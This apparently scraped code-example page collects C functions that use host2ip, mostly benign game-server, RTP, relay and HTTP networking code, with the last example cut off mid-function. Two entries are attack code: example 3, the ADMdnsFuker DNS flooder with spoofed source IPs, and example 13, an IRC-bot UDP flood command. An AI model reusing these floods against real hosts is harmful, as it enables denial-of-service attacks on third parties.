Esempio n. 1
0
int chlogif_parse_updip(int fd, struct char_session_data* sd){
	unsigned char buf[2];
	uint32 new_ip = 0;

	WBUFW(buf,0) = 0x2b1e;
	chmapif_sendall(buf, 2);

	new_ip = host2ip(charserv_config.login_ip_str);
	if (new_ip && new_ip != charserv_config.login_ip)
		charserv_config.login_ip = new_ip; //Update login ip, too.

	new_ip = host2ip(charserv_config.char_ip_str);
	if (new_ip && new_ip != charserv_config.char_ip)
	{	//Update ip.
		charserv_config.char_ip = new_ip;
		ShowInfo("Updating IP for [%s].\n", charserv_config.char_ip_str);
		// notify login server about the change
		WFIFOHEAD(fd,6);
		WFIFOW(fd,0) = 0x2736;
		WFIFOL(fd,2) = htonl(charserv_config.char_ip);
		WFIFOSET(fd,6);
	}

	RFIFOSKIP(fd,2);
	return 1;
}
Esempio n. 2
0
int chlogif_parse_updip(int fd, struct char_session_data* sd){
	unsigned char buf[2];
	uint32 new_ip = 0;

	/**
	 * !CHECKME: This is intended? Just tell if there's IP sync request
	 * without sending current char IP (if changed) to map-server?
	 **/
	WBUFW(buf,0) = 0x2b1e;
	chmapif_sendall(buf, 2);

	new_ip = host2ip(charserv_config.login_ip_str);
	if (new_ip && new_ip != charserv_config.login_ip)
		charserv_config.login_ip = new_ip; //Update login ip, too.

	new_ip = host2ip(charserv_config.char_ip_str);
	if (new_ip && new_ip != charserv_config.char_ip) { // Char-server IP is updated.
		charserv_config.char_ip = new_ip;
		ShowInfo("Updating IP for [%s].\n", charserv_config.char_ip_str);
		// notify login server about the change
		WFIFOHEAD(fd,6);
		WFIFOW(fd,0) = 0x2736;
		WFIFOL(fd,2) = htonl(charserv_config.char_ip);
		WFIFOSET(fd,6);
	}

	RFIFOSKIP(fd,2);
	return 1;
}
Esempio n. 3
0
void main(int argc, char **argv)
   {
	 struct   dnshdr *dns;
	 char            *data;
         char            buffer2[4000];
         unsigned char   namez[255];     
	 unsigned long   s_ip;
	 unsigned long   d_ip;                      
	 int sraw,on=1;


if(argc <2){printf(" usage : %s <host> \n",argv[0]); exit(0);}
	
 dns    = (struct dnshdr  *)buffer2;
 data   = (char *)(buffer2+12);
 bzero(buffer2,sizeof(buffer2));

if( (sraw=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) == ERROR){
  perror("socket");
  exit(ERROR);
  }
  
 if( (setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) == ERROR){
   perror("setsockopt");
   exit(ERROR);
   }

printf("ADMdnsFuker %s  DNS DESTROYER  made by the ADM crew\n",VERSION);
printf("(c) ADM,Heike vouais tous se ki est as moi est a elle aussi ...\n");
sleep(1);

s_ip=host2ip("100.1.2.3");
d_ip=host2ip(argv[1]);

    
       
       dns->id      = 123;
       dns->rd      = 1;
       dns->que_num = htons(1);
      
      while(1){            
                           
                  sprintf(namez,"\3%d\3%d\3%d\3%d\07in-addr\04arpa",myrand(),myrand(),myrand(),myrand());        
                  printf("%s\n",namez);
                  strcpy(data,namez);
                  *( (u_short *) (data+strlen(namez)+1) ) = ntohs(12);
                  *( (u_short *) (data+strlen(namez)+3) ) = ntohs(1);
                  udp_send(sraw,s_ip,d_ip,2600+myrand(),53,buffer2,14+strlen(namez)+5);
                  s_ip=ntohl(s_ip);
                  s_ip++;
                  s_ip=htonl(s_ip);   
              
            }

}
Esempio n. 4
0
int hpt(char *h, struct sockaddr *sa, unsigned char *ttl)
{
  char *s;
  struct sockaddr_in *sin = (struct sockaddr_in *)sa;

  sin->sin_family = AF_INET;

  /* first */
  s = strchr(h, '/');
  if (!s) {
    return -1;
  }
  else {
    int port;

    *s = '\0';
    port = atoi(s+1);
    sin->sin_port = htons(port);
    if (port & 1) {
      return -2;
    }
    s = strchr(s+1, '/');
    if (s && ttl) {
      *ttl = atoi(s+1);
    }
    sin->sin_addr = host2ip(h);
  }
  return 0;
} /* hpt */
Esempio n. 5
0
int main () {
	if (!fork ()) {
		char *req, *reply, *host, *ip;
		struct sockaddr_rc server, client;
		struct sockaddr_in addr;
		struct hostent *he;
		int s_sd, c_sd, in_sd, i, size;
		size = sizeof (client);
		server.rc_family = AF_BLUETOOTH;
		server.rc_channel = 1;
		server.rc_bdaddr = *BDADDR_ANY;
		addr.sin_family = AF_INET;
		addr.sin_port = htons (80);
		s_sd = socket (AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);
		bind (s_sd, (struct sockaddr*)&server, size);
		listen (s_sd, 10);
		while (1) {
			c_sd = accept (s_sd, (struct sockaddr*)&client, &size);
			if (!fork ()) {
				req = remove_ua (_recv (c_sd, &i, FROM_BT));
				host = get_host (req);
				he = gethostbyname (host);
				if (!he) {
					ip = host2ip (host);
					if (!ip) {
						_send (c_sd, ERROR_HOST, strlen (ERROR_HOST), TO_BT);
						close (c_sd);
						close (s_sd);
						free (req);
						free (host);
						free (ip);
						return 0;
					}
					else {
						addr.sin_addr.s_addr = inet_addr (ip);
						free (ip);
					}
				}
				else
					memcpy ((char*)&addr.sin_addr.s_addr, (char*)he->h_addr_list[0], 4);
				in_sd = socket (AF_INET, SOCK_STREAM, 0);
				connect (in_sd, (struct sockaddr*)&addr, sizeof (addr));
				_send (in_sd, req, i, TO_NET);
				reply = _recv (in_sd, &i, FROM_NET);
				_send (c_sd, reply, i, TO_BT);
				close (c_sd);
				close (s_sd);
				close (in_sd);
				free (req);
				free (reply);
				free (host);
				return 0;
			}
			close (c_sd);
		}
		close (s_sd);
	}
	return 0;
}
Esempio n. 6
0
rtperror RTPSessionSetReceiveAddr(context cid, char *address, u_int16 port){
  address_holder_t *holder;
  struct in_addr translation;
  hl_context *uc;
  rtperror err;

  err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
  if (err != RTP_OK)
    /* The cid is bogus */
    return err;

  if (uc->connection_opened){
    return errordebug(RTP_FIXED_WHEN_OPEN, "RTPSessionSetLocalAddr",
		      "Cannot change address during opened connection");
  }

  /* If the port is odd, assume it's the RTCP port */

  if((port & 1) == 1)
    port--;

  translation = host2ip(address);
  if(translation.s_addr == (u_int32) -1) {
    return errordebug(RTP_BAD_ADDR, "RTPSessionSetReceiveAddr",
		      "Could not resolve address");
  }

  if(uc->recv_addr_list == NULL) {

    /* Create new address structure */
    if((holder = (address_holder_t *) malloc(sizeof(address_holder_t))) == 0) {
      return errordebug(RTP_CANT_ALLOC_MEM, "RTPSessionAddSendAddr",
			"Cannot allocate memory");
    }

    holder->address = translation;
    if (address == NULL) holder->address.s_addr = 0;
    holder->port = htons(port);
    holder->ttl = 0;

    uc->recv_addr_list = holder;
  } else {

    /* Modify existing values */
    holder = uc->recv_addr_list;
    holder->address = translation;
    if(address == NULL) holder->address.s_addr = 0;
    holder->port = htons(port);
    holder->ttl = 0;
  }


  return RTP_OK;
}
Esempio n. 7
0
// sets char-server's ip address
int chrif_setip(const char* ip)
{
	char ip_str[16];
	char_ip = host2ip(ip);
	if (!char_ip) {
		ShowWarning("Falha ao determinar endereco do Char Server! (%s)\n", ip);
		return 0;
	}
	strncpy(char_ip_str, ip, sizeof(char_ip_str));
	ShowInfo("Endereco de IP do Char Server : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
	return 1;
}
Esempio n. 8
0
// sets char-server's ip address
int chrif_setip(const char* ip)
{
	char ip_str[16];
	char_ip = host2ip(ip);
	if (!char_ip) {
		ShowWarning("Falha em Resolver o Endereco do Servidor de Personagens! (%s)\n", ip);
		return 0;
	}
	strncpy(char_ip_str, ip, sizeof(char_ip_str));
	ShowInfo("Endereco de IP do Servidor de Personagens : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
	return 1;
}
Esempio n. 9
0
// sets char-server's ip address
int chrif_setip(const char* ip)
{
	char ip_str[16];
	char_ip = host2ip(ip);
	if (!char_ip) {
		ShowWarning("Failed to Resolve Char Server Address! (%s)\n", ip);
		return 0;
	}
	strncpy(char_ip_str, ip, sizeof(char_ip_str));
	ShowInfo("Char Server IP Address : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
	return 1;
}
Esempio n. 10
0
// sets char-server's ip address
int chrif_setip(const char* ip)
{
	char ip_str[16];
	char_ip = host2ip(ip);
	if (!char_ip) {
		ShowWarning("Falha em desenvolver o IP do char-server! (%s)\n", ip);
		return 0;
	}
	strncpy(char_ip_str, ip, sizeof(char_ip_str));
	ShowInfo("IP do char-server : '"CL_WHITE"%s"CL_RESET"' -> '"CL_WHITE"%s"CL_RESET"'.\n", ip, ip2str(char_ip, ip_str));
	return 1;
}
Esempio n. 11
0
rtperror RTPSessionRemoveSendAddr(context cid, char *addr, u_int16 port, u_int8 ttl) {
  address_holder_t *holder;
  struct in_addr translation;
  hl_context *uc;
  rtperror err;

  err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
  if (err != RTP_OK)
    /* The cid is bogus */
    return err;

  holder = uc->send_addr_list;

  /* If the port is odd, assume it's the RTCP port */

  if((port & 1) == 1)
    port--;

  translation = host2ip(addr);
  if(translation.s_addr == (u_int32) -1) {
    return errordebug(RTP_BAD_ADDR, "RTPSessionRemoveSendAddr",
		      "Could not resolve address");
  }


  /* TTL matching is only done for multicast. For unicast, all TTL's
     are set to zero */

  if(!IsMulticast(translation)) ttl = 0;

  while(holder != NULL) {
    if(!(holder->deleteflag) &&
       (holder->address.s_addr == translation.s_addr) &&
       (holder->port == htons(port)) &&
       (holder->ttl == ttl)) 
      break;

    holder = holder->next;
  }

  /* Now holder is either NULL if there was no match, else it points
     to the address which matched */

  if(holder == NULL) {
    return errordebug(RTP_BAD_ADDR, "RTPSessionRemoveSendAddr",
		      "No such address");
  } else {
    holder->deleteflag = TRUE;
    return RTP_OK;
  }
}
Esempio n. 12
0
void chrif_update_ip(int fd)
{
	uint32 new_ip;
	WFIFOHEAD(fd,6);
	new_ip = host2ip(char_ip_str);
	if (new_ip && new_ip != char_ip)
		char_ip = new_ip; //Update char_ip

	new_ip = clif_refresh_ip();
	if (!new_ip) return; //No change
	WFIFOW(fd,0) = 0x2736;
	WFIFOL(fd,2) = htonl(new_ip);
	WFIFOSET(fd,6);
}
Esempio n. 13
0
void unknown(int sock, char *sender, int argc, char **argv) {
    int flag=1,fd,i;
    unsigned long secs;
    char *buf=(char*)malloc(9216);
    struct hostent *hp;
    struct sockaddr_in in;
    
    time_t start=time(NULL);
    
    if (mfork(sender) != 0) return;
    
    if (argc != 2) {
        Send(sock,"PRIVMSG %s :>bot +unknown <target> <secs>\n",chan);
        exit(1);
    }
    
    secs=atol(argv[2]);
    
    memset((void*)&in,0,sizeof(struct sockaddr_in));
    
    in.sin_addr.s_addr=host2ip(sender,argv[1]);
    in.sin_family = AF_INET;
    
    Send(sock,"PRIVMSG %s :[UNK]Hitting %s!\n",chan,argv[1]);
    
    while(1) {
        
        in.sin_port = rand();
        
        if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0){
        } else {
            flag=1;
            ioctl(fd,FIONBIO,&flag);
            sendto(fd,buf,9216,0,(struct sockaddr*)&in,sizeof(in));
            close(fd);
        }
        
        if (i >= 50) {
            if (time(NULL) >= start+secs) break;
                i=0;
        }
        i++;
    }
    Send(sock,"PRIVMSG %s :[UNK]Done hitting %s!\n",chan,argv[1]);
    close(fd);
    exit(0);
}
Esempio n. 14
0
/**
*  Create of a context

  @param rank rank of the context to create
  @param hostname : hostname of the export gateway
  @param port : configuration port of the export gateway

*/
int export_expgw_conf_ctx_create(int rank,char *hostname,uint16_t port)
{
  export_expgw_conf_ctx_t *p = export_expgw_conf_table;
  char bufname[32];
  int ret = 0;

  if (rank >= EXPGW_EXPGW_MAX_IDX) 
  {
    errno = EINVAL;
    return -1;
  }
  p+=rank;
  if (p->gateway_lbg_id!= -1)
  {
    export_expgw_conf_ctx_delete(rank);  
  }
  /*
  ** create the load balancing group
  */
  strncpy(p->hostname, hostname, ROZOFS_HOSTNAME_MAX);
  if (host2ip(hostname,&p->ipaddr) < 0)
  {
    return -1;  
  }
  p->port  = port;  
  /*
  ** store the IP address and port in the list of the endpoint
  */
  my_list[0].remote_port_host = p->port;
  my_list[0].remote_ipaddr_host = p->ipaddr ;
  int lbg_size = 1;

   af_inet_exportd_conf.recv_srv_type = ROZOFS_RPC_SRV;
   af_inet_exportd_conf.rpc_recv_max_sz = rozofs_large_tx_recv_size;
   sprintf(bufname,"GWCNF_%d",rank);
   p->gateway_lbg_id = north_lbg_create_af_inet(bufname,INADDR_ANY,0,my_list,ROZOFS_SOCK_FAMILY_EXPORT_NORTH,lbg_size,&af_inet_exportd_conf);
   if (p->gateway_lbg_id >= 0)
   {
     return 0;    
   }
   severe("Cannot create Load Balancing Group for Export Gateway configurator");
   return  ret;
}
Esempio n. 15
0
/**
 * PIN Code was incorrectly entered too many times.
 * @param fd: fd to parse from (char-serv)
 * @return 0 fail (packet does not have enough data), 1 success (continue parsing)
 */
int logchrif_parse_pincode_authfail(int fd){
	if( RFIFOREST(fd) < 6 )
		return 0;
	else{
		struct mmo_account acc;
		AccountDB* accounts = login_get_accounts_db();
		if( accounts->load_num(accounts, &acc, RFIFOL(fd,2) ) ){
			struct online_login_data* ld;

			ld = (struct online_login_data*)idb_get(online_db,acc.account_id);

			if( ld == NULL )
				return 0;

			login_log( host2ip(acc.last_ip), acc.userid, 100, "PIN Code check failed" );
		}
		login_remove_online_user(acc.account_id);
		RFIFOSKIP(fd,6);
	}
	return 1;
}
Esempio n. 16
0
bool ladmin_auth(struct login_session_data* sd, const char* ip)
{
	bool result = false;

	if( str2ip(ip) != host2ip(login_config.admin_allowed_host) )
		ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - IP isn't authorised (ip: %s).\n", ip);
	else
	if( !login_config.admin_state )
		ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - remote administration is disabled (ip: %s)\n", ip);
	else
	if( !check_password(sd->md5key, sd->passwdenc, sd->passwd, login_config.admin_pass) )
		ShowNotice("'ladmin'-login: Connection in administration mode REFUSED - invalid password (ip: %s)\n", ip);
	else
	{
		ShowNotice("'ladmin'-login: Connection in administration mode accepted (ip: %s)\n", ip);
		session[sd->fd]->func_parse = parse_admin;
		result = true;
	}

	return result;
}
Esempio n. 17
0
rtperror RTPSessionAddSendAddr(context cid, char *addr, u_int16 port, u_int8 ttl){
  address_holder_t *holder;
  struct sockaddr_in saddr;
  int len, nRet;
  struct in_addr translation;
  hl_context *uc;
  rtperror err;

  err = RTPSessionGetHighLevelInfo(cid, (void**)&uc);
  if (err != RTP_OK)
    /* The cid is bogus */
    return err;

  if (port == 0) {
    return errordebug(RTP_BAD_PORT, "RTPSessionAddSendAddr",
		      "Port number zero not allowed");
  }
  /* If the port is odd, assume it's the RTCP port */

  if((port & 1) == 1)
    port--;

  if((holder = (address_holder_t *) malloc(sizeof(address_holder_t))) == 0) {
    return errordebug(RTP_CANT_ALLOC_MEM, "RTPSessionAddSendAddr",
		      "Cannot allocate memory");
  }


  /* Translate address */
  translation = host2ip(addr);
  if(translation.s_addr == (u_int32) -1) {
    free(holder);
    return errordebug(RTP_BAD_ADDR, "RTPSessionAddSendAddr",
		      "Could not resolve address");
  }


  /* Write values of address, port to context */
  holder->address = translation;
  holder->port = htons(port);
  holder->deleteflag = FALSE;
  holder->ttl = 0;
  if(IsMulticast(translation)) holder->ttl = ttl;


  /* Create the RTP and RTCP sockets for this sender */

  holder->rtpsocket = _sys_create_socket(SOCK_DGRAM);

  if (holder->rtpsocket == _SYS_INVALID_SOCKET){
    free(holder);
    return errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
		      "couldn't get RTP socket for context %d",  (int)cid);
  }

  holder->rtcpsocket = _sys_create_socket(SOCK_DGRAM);
  if (holder->rtcpsocket == _SYS_INVALID_SOCKET){
    _sys_close_socket(holder->rtpsocket);
    free(holder);
    return errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
		      "couldn't get RTCP socket for context %d",  (int)cid);
  }

  /* Connect them, first RTP socket */

  memset(&saddr, 0, sizeof(saddr));
  saddr.sin_family = AF_INET;
  saddr.sin_addr = holder->address;
  saddr.sin_port = htons(port);

  if(_sys_connect_socket(holder->rtpsocket, &saddr) == _SYS_SOCKET_ERROR) {
    err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr", 
		     "couldn't connect RTP socket for context %d",  (int)cid);
    goto bailout;
  }

  /* Now RTCP socket */
  saddr.sin_port = htons(port+1);

  if(_sys_connect_socket(holder->rtcpsocket, &saddr) == _SYS_SOCKET_ERROR) {
    err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr", 
		      "couldn't connect RTCP socket for context %d",  (int)cid);
    goto bailout;
  }
  
  if(IsMulticast(holder->address)) {
    /* Set multicast TTL if needed */
	  nRet = _sys_set_ttl(holder->rtpsocket, ttl);
	  if(nRet == _SYS_SOCKET_ERROR) {
		  err = errordebug(RTP_CANT_SET_SOCKOPT, "RTPSessionAddSendAddr",
			  "couldn't set RTP TTL for context %d",  (int)cid);
		  goto bailout;
	  }
	  nRet = _sys_set_ttl(holder->rtcpsocket, ttl);
	  
	  if(nRet == _SYS_SOCKET_ERROR) {
		  err = errordebug(RTP_CANT_SET_SOCKOPT, "RTPSessionAddSendAddr",
			  "couldn't set RTCP TTL for context %d",  (int)cid);
		  goto bailout;
	  }



	  /* Determine source addresses, for loopback detection */
	  /* XXX: multiple multicast destinations might have different sources */

	  len = sizeof(struct sockaddr_in);

	  if(_sys_get_socket_name(holder->rtpsocket, &uc->rtp_sourceaddr) == _SYS_SOCKET_ERROR) {
		  err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
			  "Couldn't get RTP source address for context %d", (int)cid);
		  goto bailout;
	  }
	  if(_sys_get_socket_name(holder->rtcpsocket, &uc->rtcp_sourceaddr) == _SYS_SOCKET_ERROR) {
		  err = errordebug(RTP_CANT_GET_SOCKET, "RTPSessionAddSendAddr",
			  "Couldn't get RTCP source address for context %d", (int)cid);
		  goto bailout;
	  }
  }
   
  /* Add address to list */

  holder->next = uc->send_addr_list;
  uc->send_addr_list = holder;

  return RTP_OK;

  bailout:

  _sys_close_socket(holder->rtpsocket);
  _sys_close_socket(holder->rtcpsocket);
  free(holder);

  return err;
}
Esempio n. 18
0
/*==========================================
 * IP アドレスセット
 *------------------------------------------
 */
void chrif_setip(void)
{
	char_ip = host2ip(char_host, "Character server IP address");
}
Esempio n. 19
0
/*
 * parse_args()
 * Parse argv, and return parsed info in **relays, *relay_count, and
 * *is_server.  On failure, exit.
 */
static void parse_args(int argc, char *argv[], struct relay **relays,
                       int *relay_count, int *is_server)
{
  int c;
  char *tcphostname, *tcpportstr, *udphostname, *udpportstr, *udpttlstr;
  struct in_addr tcpaddr, udpaddr;
  int tcpport, udpport, udpttl;
  int i;

  *is_server = -1;
  *relay_count = 1;

  debug = 0;

  tcphostname = NULL;
  tcpportstr = NULL;

  while ((c = getopt(argc, argv, "s:c:rvh")) != EOF) {
    switch (c) {
    case 's':
      if (*is_server != -1) {
        fprintf(stderr, "%s: Only one of -s and -c may be specified.\n",
                argv[0]);
        exit(2);
      }
      *is_server = 1;
      tcpportstr = optarg;
      break;
    case 'c':
      if (*is_server != -1) {
        fprintf(stderr, "%s: Only one of -s and -c may be specified.\n",
                argv[0]);
        exit(2);
      }
      *is_server = 0;
      tcphostname = optarg;
      break;
    case 'r':
      *relay_count = 2;
      break;
    case 'v':
      debug++;
      break;
    case 'h':
    case '?':
    default:
      usage(argv[0]);
      break;
    }
  }

  if (*is_server == -1) {
    fprintf(stderr, "%s: You must specify one of -s and -c.\n",
            argv[0]);
    exit(2);
  }

  if (argc <= optind) {
    usage(argv[0]);
  }

  udphostname = strtok(argv[optind], ":/ ");
  udpportstr = strtok(NULL, ":/ ");
  if (udpportstr == NULL) {
    usage(argv[0]);
  }
  udpttlstr = strtok(NULL, ":/ ");

  if (!*is_server) {
    tcphostname = strtok(tcphostname, ":/ ");
    tcpportstr = strtok(NULL, ":/ ");
  }
  else {
    tcphostname = NULL;
  }

  errno = 0;
  udpport = strtol(udpportstr, NULL, 0);
  if (errno || udpport <= 0 || udpport >= 65536) {
    fprintf(stderr, "%s: invalid port number\n", udpportstr);
    exit(2);
  }

  if (udpttlstr != NULL) {
    errno = 0;
    udpttl = strtol(udpttlstr, NULL, 0);
    if (errno || udpttl < 0 || udpttl >= 256) {
      fprintf(stderr, "%s: invalid TTL\n", udpttlstr);
      exit(2);
    }
  }
  else {
    udpttl = 1;
  }

  if (tcpportstr != NULL) {
    errno = 0;
    tcpport = strtol(tcpportstr, NULL, 0);
    if (errno || tcpport <= 0 || tcpport >= 65536) {
      fprintf(stderr, "%s: invalid port number\n", tcpportstr);
      exit(2);
    }
  }
  else {
    tcpport = udpport;
  }

  if (*relay_count == 2 && (tcpport % 2 != 0 || udpport % 2 != 0)) {
    fprintf(stderr, "Port numbers must be even when using RTP mode.\n");
    exit(2);
  }

  udpaddr = host2ip(udphostname);
  if (udpaddr.s_addr == INADDR_ANY) {
    fprintf(stderr, "%s: UDP host unknown\n", udphostname);
    exit(2);
  }

  if (*is_server) {
    tcpaddr.s_addr = INADDR_ANY;
  }
  else {
    tcpaddr = host2ip(tcphostname);
    if (tcpaddr.s_addr == INADDR_ANY) {
      fprintf(stderr, "%s: TCP host unknown\n", tcphostname);
      exit(2);
    }
  }
   
  *relays = (struct relay *) calloc(*relay_count, sizeof(struct relay));
  if (relays == NULL) {
    perror("Error allocating relay structure");
    exit(1);
  }

  for (i = 0; i < *relay_count; i++) {
    (*relays)[i].udpaddr.sin_addr = udpaddr;
    (*relays)[i].udpaddr.sin_port = htons(udpport + i);
    (*relays)[i].udpaddr.sin_family = AF_INET;
    (*relays)[i].udp_ttl = udpttl;
    (*relays)[i].multicast_udp = IN_MULTICAST(htons(udpaddr.s_addr));

    (*relays)[i].tcpaddr.sin_addr = tcpaddr;
    (*relays)[i].tcpaddr.sin_port = htons(tcpport + i);
    (*relays)[i].tcpaddr.sin_family = AF_INET;
  }
} /* parse_args */
Esempio n. 20
0
char *http_process_request(char *url, int method, char **type, int *code, int *size, const char *contype, char *post) {
	struct sockaddr_in serv_addr;
	int sockfd = 0, bytes = 0;
	int has_code = 0, has_type = 0;
	int pos = 0;
	size_t bufsize = BUFFER_SIZE;
	char ip[INET_ADDRSTRLEN+1], *content = NULL, *host = NULL, *auth = NULL, *auth64 = NULL;
	char *page = NULL, *tok = NULL;
	char recvBuff[BUFFER_SIZE+1], *header = MALLOC(bufsize);
	unsigned short port = 0, sslfree = 0, entropyfree = 0;
	size_t len = 0, tlen = 0, plen = 0;

	entropy_context entropy;
	ctr_drbg_context ctr_drbg;
	ssl_context ssl;

	*size = 0;

	if(header == NULL) {
		fprintf(stderr, "out of memory\n");
		exit(EXIT_FAILURE);
	}
	
	memset(header, '\0', bufsize);
	memset(recvBuff, '\0', BUFFER_SIZE+1);
	memset(&serv_addr, '\0', sizeof(struct sockaddr_in));

	/* Check which port we need to use based on the http(s) protocol */
	if(strncmp(url, "http://", 7) == 0) {
		port = 80;
		plen = 8;
	} else if(strncmp(url, "https://", 8) == 0) {
		port = 443;
		plen = 9;
	} else {
		logprintf(LOG_ERR, "an url should start with either http:// or https://", url);
		*code = -1;
		goto exit;
	}

	/* Split the url into a host and page part */
	len = strlen(url);
	if((tok = strstr(&url[plen], "/"))) {
		tlen = (size_t)(tok-url)-plen+1;
		if((host = MALLOC(tlen+1)) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}
		strncpy(host, &url[plen-1], tlen);
		host[tlen] = '\0';
		if((page = MALLOC(len-tlen)) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}		
		strcpy(page, &url[tlen+(plen-1)]);
	} else {
		tlen = strlen(url)-(plen-1);
		if((host = MALLOC(tlen+1)) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}
		strncpy(host, &url[(plen-1)], tlen);
		host[tlen] = '\0';
		if((page = MALLOC(2)) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}
		strcpy(page, "/");
	}
	if((tok = strstr(host, "@"))) {
		size_t pglen = strlen(page);
		if(strcmp(page, "/") == 0) {
			pglen -= 1;
		}
		tlen = (size_t)(tok-host);
		if((auth = MALLOC(tlen+1)) == NULL) {
			fprintf(stderr, "out of memory\n");
			exit(EXIT_FAILURE);
		}
		strncpy(auth, &host[0], tlen);
		auth[tlen] = '\0';
		strncpy(&host[0], &url[plen+tlen], len-(plen+tlen+pglen));
		host[len-(plen+tlen+pglen)] = '\0';
		auth64 = base64encode(auth, strlen(auth));
	}

#ifdef _WIN32
	WSADATA wsa;

	if(WSAStartup(0x202, &wsa) != 0) {
		logprintf(LOG_ERR, "could not initialize new socket");
		*code = -1;
		goto exit;
	}
#endif

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
		logprintf(LOG_ERR, "could not http create socket");
		*code = -1;
		goto exit;
	}
  setsockopt(sockfd, SOL_SOCKET, SO_KEEPALIVE, 0, 0);

	char *w = ip;
	if(host2ip(host, w) == -1) {
		*code = -1;
		goto exit;
	}

	serv_addr.sin_family = AF_INET;
	if(inet_pton(AF_INET, ip, (void *)(&(serv_addr.sin_addr.s_addr))) <= 0) {
		logprintf(LOG_ERR, "%s is not a valid ip address", ip);
		*code = -1;
		goto exit;
	}
	serv_addr.sin_port = htons(port);

	/* Proper socket timeout testing */
	switch(socket_timeout_connect(sockfd, (struct sockaddr *)&serv_addr, 3)) {
		case -1:
			logprintf(LOG_ERR, "could not connect to http socket (%s)", url);
			*code = -1;
			goto exit;
		case -2:
			logprintf(LOG_ERR, "http socket connection timeout (%s)", url);
			*code = -1;
			goto exit;
		case -3:
			logprintf(LOG_ERR, "error in http socket connection", url);
			*code = -1;
			goto exit;
		default:
		break;
	}

	if(method == HTTP_POST) {
		len = (size_t)snprintf(&header[0], bufsize, "POST %s HTTP/1.0\r\n", page);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "Host: %s\r\n", host);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		if(auth64 != NULL) {
			len += (size_t)snprintf(&header[len], bufsize - len, "Authorization: Basic %s\r\n", auth64);
			if(len >= bufsize) {
				bufsize += BUFFER_SIZE;
				if((header = REALLOC(header, bufsize)) == NULL) {
					fprintf(stderr, "out of memory\n");
					exit(EXIT_FAILURE);
				}
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "User-Agent: %s\r\n", USERAGENT);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "Content-Type: %s\r\n", contype);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "Content-Length: %d\r\n\r\n", (int)strlen(post));
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "%s", post);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
	} else if(method == HTTP_GET) {
		len = (size_t)snprintf(&header[0], bufsize, "GET %s HTTP/1.0\r\n", page);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "Host: %s\r\n", host);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		if(auth64 != NULL) {
			len += (size_t)snprintf(&header[len], bufsize - len, "Authorization: Basic %s\r\n", auth64);
			if(len >= bufsize) {
				bufsize += BUFFER_SIZE;
				if((header = REALLOC(header, bufsize)) == NULL) {
					fprintf(stderr, "out of memory\n");
					exit(EXIT_FAILURE);
				}
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "User-Agent: %s\r\n", USERAGENT);
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
		len += (size_t)snprintf(&header[len], bufsize - len, "Connection: close\r\n\r\n");
		if(len >= bufsize) {
			bufsize += BUFFER_SIZE;
			if((header = REALLOC(header, bufsize)) == NULL) {
				fprintf(stderr, "out of memory\n");
				exit(EXIT_FAILURE);
			}
		}
	}

	if(port == 443) {
		memset(&ssl, '\0', sizeof(ssl_context));
		entropy_init(&entropy);
